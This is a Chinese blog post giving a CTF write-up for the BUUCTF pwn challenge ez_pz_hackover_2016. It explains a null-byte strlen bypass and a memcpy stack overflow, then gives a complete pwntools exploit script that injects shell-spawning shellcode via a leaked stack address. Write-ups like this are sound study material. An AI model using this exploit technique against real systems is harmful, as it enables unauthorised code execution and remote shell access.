[BUUCTF]刷题记录PWN——ez_pz_hackover_2016

静态分析

image
比较重要的函数,一个strlen可以利用\x00来绕过,然后对输入的字符串进行检查,最后进入vuln

image

memcoy: C 库函数 void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 复制 n 个字节到存储区 str1。

也就是说,vuln里的memcpy函数会把,我们输入的内容取0x400复制给dest,但是dest的大小为0x32,存在栈溢出漏洞

动态调试

image
保护全关
image

image
利用fgets输入存放的地址为rwxp,所以这题可以利用shellcode

攻击手法:通过strelen和字符串检测,溢出到ebp,并且在ebp地址处创建一个+4大小的空间,写入shellcode,然后更改返回地址为shellcode,执行获得shell

构造payload

image
这里注意一下,他给在开头的时候给我们发送一个地址,后期可以利用一下,这里需要接收

点击查看代码
p.recvuntil(b'crash: ')
s_addr = int(p.recvline(8),16)
info('s_addr:' + hex(s_addr))

image
我们在vuln里这个靠近return的这个nop这里选择断点

点击查看代码
gdb.attach(p,'b *0x8048600')
pause()

image
这里我们输入的crashme是从0x22地址开始的,而ebp在0x38的位置,计算之后得到偏移为0x16,因为crasheme\x00占8个,并且我们要在ebp后创建一个大小为4的空间,所以这里需要填充0x16-0x8+0x4,也就是0x12大小的数据。

点击查看代码
payload = b''
payload += b'crashme\x00'
payload += b'a'* 0x12 
payload += p32(0) 	#不确定返回地址,这里我们随便写个东西
payload += shellcode

image
此时,return后是没有返回地址的,这里我们需要计算出shellcode的地址

image
这里是shellcode的位置,还记得我们开头说的泄漏的地址吗,我利用它减去shellcode的地址,得到偏移,然后利用
image
偏移为0x1c

image
成功getsell

EXP

点击查看代码
from pwn import *

elf = ELF('./pwn')
context(arch=elf.arch,os=elf.os)
context(log_level = 'debug')

#p = process('./pwn')
p = remote('node5.buuoj.cn',26005)

#gdb.attach(p,'b *0x8048600')
#pause()

p.recvuntil(b'crash: ')
s_addr = int(p.recvline(8),16)
info('s_addr:' + hex(s_addr))

shellcode = asm(shellcraft.sh())

info('shellcode:')
info(shellcode)

payload = b''
payload += b'crashme\x00'
payload += b'a'*0x12 
payload += p32(s_addr - 0x1c)
payload += shellcode

p.sendlineafter(b'Whats your name?\n', payload)

p.interactive()
posted @ 2025-02-25 21:50  K4N0  阅读(106)  评论(0)    收藏  举报
//雪花飘落效果